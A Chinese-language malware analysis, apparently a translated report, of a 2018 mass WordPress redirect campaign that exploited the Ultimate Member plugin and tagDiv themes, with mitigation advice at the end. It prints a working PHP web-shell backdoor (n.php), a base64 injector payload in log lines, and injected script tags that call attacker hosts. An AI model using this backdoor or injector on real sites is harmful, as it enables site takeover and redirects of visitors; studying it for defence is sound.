标题 | 简介 | 类型 | 公开时间 | ||||||||||
|
|||||||||||||
|
|||||||||||||
详情 | |||||||||||||
[SAFE-ID: JIWO-2024-1853] 作者: 对不起 发表于: [2018-09-08]
本文共 [269] 位读者顶过
在2018年8月发生的一次大规模WordPress攻击事件,攻击者会将访问者重定向到其他主题的网站。 [出自:jiwo.org]
通过utroro[.]com实施的恶意重定向 重定向时,用户会看到带有随机utroro[.]com地址和伪造的reCAPTCHA图片的烦人页面。这些页面的消息和内容会试图诱导访问者进行验证,从而订阅不相关的服务,至于是什么服务,网页并没有具体说明。 重定向的URL包括: hxxp://murieh[.]space/?h=930130016_dc950a456f7_100&h_l=&h_5=sub_id_2&h_2=def_sub hxxps://unverf[.]com/?h=930130016_dc950a456f7_100&h_l=&h_5=sub_id_2&h_2=def_sub 脚本注入 注入的恶意软件包含来自以下两个网站之一的脚本:cdn.eeduelements[.]com 和cdn.allyouwant[.]online。 cdn.eeduelements[.]com是在攻击活动刚出现时使用的,而cdn.allyouwant[.]online则出现在目前的攻击活动中(大约是在cdn.eeduelements[.]com出现后的一周以后)。但是,由于攻击者的懒惰或编码技能不好,他们在使用新版本的恶意软件攻击网站时,并没有删除以前注入的代码,因此你可以在同一攻击网站上,同时找到这两个脚本。 ... <script type='text/javascript' src='hxxps://cdn.eeduelements[.]com/jquery.js?ver=1.0.8'></script><script type='text/javascript' src='hxxps://cdn.allyouwant[.]online/main.js?t=lp1'></script></head> ... 截止发文时,研究人员总共看到1700多个网站被cdn.eeduelements[.]com脚本攻击,有500多个网站被cdn.allyouwant[.]online脚本攻击。 脚本被混淆 不过,向外部脚本添加纯文本引用只是该攻击使用的一种注入类型而已,研究人员还看到来自相同域的各种脚本,它们都经过了各种混淆。 例如,下面这段代码将“hxxps://cdn.allyouwant[.]online/main.js?t=ac” 脚本添加到页面中。
经过混淆的cdn.allyouwant[.]online脚本 这段代码使用了src.eeduelements[.]com/get.php地址来获取包含重定向脚本的URL。此时,研究人员可以看到hxxps://gabemastery[.]ml/ton.js。
混淆的src.eeduelements[.]com/get.php脚本 主要攻击手段 本次大规模WordPress重定向攻击的主要原因是攻击者利用了tagDiv主题中有两年历史的(以及长期固定的)漏洞以及流行的Ultimate Member插件中新发现的(目前已经修复)漏洞,目前,这个带有漏洞的插件已经进行了10万次的安装。Ultimate Member是一款WordPress前端会员系统,可帮助用户轻松构建自己的专业的会员制网站,也是目前最好的 WordPress 前端会员中心解决方案。 对于过时的tagDiv主题,典型注入过程如下所示。
可以看出,恶意软件是通过旧的Newsmag主题中的漏洞进行注入的 日志分析 而对于没有tagDiv主题的网站,研究人员在一开始也没有搞清楚其攻击手段,这时,研究人员采用了日志分析的手段,因为原始日志分析手段,会帮助他们找到被利用的那些安全漏洞。 接下来的环节看起来很可疑: 185.177.59.23 - - [11/Aug/2018:10:24:59 -0700] "POST /wp-content/plugins/ultimate-member/core/lib/upload/um-image-upload.php HTTP/1.1" 200 183 "-" "Go-http-client/1.1"185.177.59.23 - - [11/Aug/2018:10:25:02 -0700] "GET /wp-content/uploads/ultimatemember/temp/xJiEq0SCtv7MVS1H8Gbqfw26dOyzJihc5nlgEl7j/stream_photo_d41e21781c3fad9e1f22c1c4ba60e3c7_5b6f1bed7cf51.php HTTP/1.1" 200 4731 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36"185.177.59.23 - - [11/Aug/2018:10:25:02 -0700] "GET /wp-content/uploads/ultimatemember/temp/xJiEq0SCtv7MVS1H8Gbqfw26dOyzJihc5nlgEl7j/n.php?q=ZWNobyAiNTQzNjQ1NiI7 HTTP/1.1" 200 27 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36" 在对Ultimate Member插件的um-image-upload.php文件发出POST请求之后,有人也请求了相同的文件,而该文件似乎已应该请求成功进行了上传。更让人怀疑的是,上传的文件扩展名为.php(stream_photo_d41e21781c3fad9e1f22c1c4ba60e3c7_5b6f1bed7cf51.php),而插件应该只能上传图片文件。 几乎紧接着,那位进行成功上传的用户访问了另一个PHP文件(n.php),该文件位于Ultimate Member插件上所成功上传文件的前一个文件目录中。该请求具有“?q=ZWNobyAiNTQzNjQ1NiI7” GET参数,可以被转换为“echo “5436456”;”。 考虑到来自同一访问者的三个连续请求都使用了不同的User-Agent字符串,所以很明显,这是一次成功的黑客攻击。 不过此时,研究人员仍然不清楚这次攻击是否与他们调查的大规模 WordPress 重定向攻击有关。然后研究人员从同一IP发现了这个请求: 185.177.59.23 - - [11/Aug/2018:16:22:40 -0700] "GET /wp-content/uploads/ultimatemember/temp/QkqkY6iF0xN5L3r5tAtwi9rIPeTRAFxsUcYNbfVr/n.php?q=JGEgPSAnZmluZCAvIC10eXBlIGYgLW5hbWUgIipoZWFkKiIgfCB4YXJncyBncmVwIC1ybCAiPGhlYWQiJzsKJGwxID0gIjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHBzOi8vY2RuLmVlZHVlbGVtZW50cy5jb20vanF1ZXJ5LmpzP3Zlcj0xLjAuOCc+PC9zY3JpcHQ+IjsKJHQgPSBzaGVsbF9leGVjKCRhKTsKJHQgPSBleHBsb2RlKCJcbiIsIHRyaW0oJHQpKTsKZm9yZWFjaCgkdCBhcyAkZil7CgkKJGcgPSBmaWxlX2dldF9jb250ZW50cygkZik7CmlmIChzdHJwb3MoJGcsICdlZWR1ZWxlbWVudHMnKSAhPT0gZmFsc2UpIHsKICAgZWNobyAiZToiLiRmOwp9IGVsc2UgewokZyA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRmKTsKJGcgPSBzdHJfcmVwbGFjZSgiPGhlYWQ+IiwiPGhlYWQ+Ii4kbDEsJGcpOwokZyA9IHN0cl9yZXBsYWNlKCI8L2hlYWQ+IiwkbDEuIjwvaGVhZD4iLCRnKTsKQHN5c3RlbSgiY2htb2QgNzc3ICIuJGYpOwpAZmlsZV9wdXRfY29udGVudHMoJGYsJGcpOwokZyA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRmKTsKaWYgKHN0cnBvcygkZywgJ2VlZHVlbGVtZW50cycpICE9PSBmYWxzZSkgewogICBlY2hvICRmOwp9IAp9Cn0= HTTP/1.1" 500 - "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36" GET请求是专门针对类似这样的上传后门—n.php的,但这次base64编码的有效载荷要长得多。以下就是解码的有效载荷:
cdn.eeduelements[.]com解码后的有效载荷中的注入工具 很明显,这段代码会搜索名称中带有“head”并且内容中带有<head>标签的文件。然后它会在<head>标签之后和结束</ head>标签之前注入恶意cdn.eeduelements[.]com / jquery.js脚本。 Buggy注入工具 这种注入工具的代码有点过去激进,大多数受攻击的网页都包含多个相同恶意脚本的内容。 这还不是Buggy注入工具的唯一问题,它注入的代码不考虑PHP注释中的<head>字段,结果,研究人员也看到脚本被注入到了注释中。 jQuery文件 理论上,经过混淆的脚本版本只应被注入JavaScript文件。但是,在实际中,攻击者可以决定将其注入到任何文件和内容的顶部,而文件名和内容都无一例外的包含 “jquery” 字样。 find / -type f -name "*jquery*" | xargs grep -rl "jQuery" 像wp-includes/js/jquery/jquery.js and wp-includes/js/jquery/jquery-migrate.min.js这样的常见文件并不是唯一被攻击的文件。由于很多注入器都存在漏洞,所以第三方主题和插件中的许多文件都受到这样的影响,其中就包括: wp-content/themes/twentyseventeen/assets/js/jquery.scrollTo.js, wp-content/plugins/elementor/assets/lib/jquery-easing/jquery-easing.js wp-content/plugins/gp-premium/page-header/functions/js/jquery.vide.min.js 而非JS文件也受到此影响,例如,脚本被注入到WordPress核心CSS文件wp-includes/css/jquery-ui-dialog-rtl.min.css, wp-includes/css/jquery-ui-dialog.min.css中。 PHP的注入 而在某些网站上,研究人员则发现了此恶意软件的一种变体,该变体会将以下代码注入到PHP文件中。
这些代码将来自hxxps://alsutrans[.]com/stats.js URL的内容注入到网页中,它基本上与研究人员上面描述的混淆的JavaScript相同。 这种变体的主要问题是,它会在“<?php” 标签之前就注入代码,并假设文件顶部只存在一个这样的标签。而任何熟悉PHP的人都知道这是不可能发生的情况,许多PHP文件(尤其是WordPress主题文件)都有多个“<?php” 标签。因此,受攻击的文件通常如下所示。
PHP文件中的多次注入 这就会导致生成的网页中有多大数十个被注入的脚本。此外,这段代码在被注入到标签中时经常会破坏HTML标签,如下所示。
多次注入会造成HTML标签的破坏 目前已经清楚了,黑客在 Ultimate Member 插件中使用了安全漏洞,不过,研究人员还是决定检查它是否是像tagDiv主题那样,是否使用的是一些旧的漏洞。 Ultimate Member插件中的漏洞 事实证明,Ultimate Member插件在本文发布的几天前,已经修复了一些安全漏洞,包括2018年8月9日修复的未经认证的任意文件上传漏洞。 2.0.23: August 10, 2018 Bugfixes:Fixed File/Image uploader2.0.22: August 9, 2018 ... Bugfixes: ...Fixed security vulnerabilities (File/Image uploader) 而本文所讲的漏洞都是在这些插件漏洞修补之前发生的,且都是在野外发现额攻击样本。而修复漏洞的信息一旦发布,黑客就可以将这些漏洞添加到他们的工具包中。 在研究人员分析的日志中,他们看到了8月11日,有攻击者首次成功尝试利用该安全漏洞发起的攻击,而这就发生在修复漏洞发布后的两天后,不过该问题目前也已被修复。大约在此时,研究人员也注意到上文所讲的攻击数量在不断地增加。这再一次证明,对于流行的主题和插件,在漏洞披露后的短时间里,是攻击者利用这些漏洞发起大规模攻击的窗口期。 攻击场景 现在研究人员已经弄清了Ultimate Member插件遭受攻击的根源,此时,他们可以模拟重建一个典型的攻击场景。 首先,黑客会调查WordPress网站是否存在Ultimate Member插件。如果存在Ultimate Member插件,他们会使用漏洞上传伪造的验证图片,这通常是添加了PHP代码的图片文件。这个假图片最终会出现在 wp-content/uploads/ultimatemember/temp中随机查找的子目录中,并带有半随机名称。 wp-content/uploads/ultimatemember/temp/WdSGzebLWHdyFKBxnl8WeVH79qLeLCBTlZlmpik9/stream_photo_1629b0420ba2002e27f81ee0f7164a19_5b70072a3a639.php 然后,该文件用于在同一文件夹中创建更通用的后门n.php。 <?php file_put_contents('sdgsdfgsdg','<?php '.base64_decode($_REQUEST['q'])); include('sdgsdfgsdg'); unlink('sdgsdfgsdg'); ?> 由于这个后门保存了任意的PHP代码,它会在临时文件'sdgsdfgsdg'中的“q”请求参数中传递。然后,攻击者通过将其包含到当前脚本来执行它。新创建的n.php后门的初始请求带有参数 “?q=ZWNobyAiNTQzNjQ1NiI7”,这是为了打印预定义的字符串“5436456”,以确保后门正常运行。 之后,攻击者使用此后门将各种不同的恶意代码注入到服务器文件中。一般情况下,当满足以下条件时,会有两种类型的文件受到攻击: 1.包含<head>标签并且名称中包含“head”的文件,常见的就是包含header.php的文件; 2.包含 “jQuery” 字段的内容和名称中包含“jquery” 的文件; 每隔几天,黑客就会返回并重新使用n.php后门(或上传新的后门),然后再使用新版本的恶意代码重新攻击这些网站。由于注入工具质量较差,你可能会发现同一文件中存在不同版本的恶意软件。 跨网站攻击 由于恶意软件注入工具首先会从服务器根目录中搜索符合条件的文件(find / …),因此,攻击者会尝试攻击任何合适的可写文件,即使是最初受攻击的网站目录之外的文件也难逃此攻击。 在大多数网站托管的环境中,成功攻击将仅限于属于同一服务器帐户的文件。但是,如果该帐户有多个网站,则所有网站都将被攻击(即使帐户没有Ultimate Member插件或任何易受攻击的插件)。另外,非WordPress网站也会受到攻击。此外,共享同一帐户的所有相邻网站也将继续被重新攻击。 缓解措施 由于此攻击使用了几种不同的攻击手段和多种恶意代码的变体。所以在以下的缓解方案中,研究人员将尝试给出一些最常见的缓解步骤。 1.确保所有主题和插件的更新状态都是最新的,如果你的网站使用Ultimate Member(早于2.0.23版本)插件或tagDiv主题(Newspaper,Newsmag等),尤其要注意。 2.对于tagDiv的攻击,你可以在主题的管理界面中找到恶意软件并删除它。通过Theme panel > ADS > YOUR HEADER AD,或“自定义HTML”小插件都可以完成。或者,你可以直接使用WordPress数据库,但要清理序列化代码时,要小心。 3.对于Ultimate Member的攻击,你可以删除 wp-content/uploads/ultimatemember/temp/下的子目录中的所有PHP文件。另外,你还可以禁用wp-content/uploads/ultimatemember/temp/中的PHP文件执行。最后,在“header”和“jquery”文件中删除上文提及的恶意代码。 4.确保对共享相同服务器帐户的所有网站进行定期安全清理和防护,即使其中所含的网站没有任何易受攻击的主题和插件,也是如此。如果你没有这样做,你的网站很快就会被重新攻击。 由于这个攻击活动经常会改变注入的代码和受影响的文件,因此以上的安全措施也是需要实时更新的。具体的,请参考“有关清理WordPress网站的指南” ,以查找更多通用说明,以帮助你缓解大多数类型的WordPress攻击。 总结 这种大规模攻击清楚地表明了在漏洞窗口期,零日攻击是如何发生并呈指数级增长的。 当漏洞被披露时,投机性攻击的数量通常会立即增加,所以你要保持警惕并密切关注流行主题和插件的更新变化。如果攻击者发现安全漏洞已经修复,他们将尝试在旧版本中创建相应的漏洞,以针对尚未修补到最新可用版本的网站。所以,及时更新所有网站插件对于最大限度的降低攻击风险是非常重要的。 |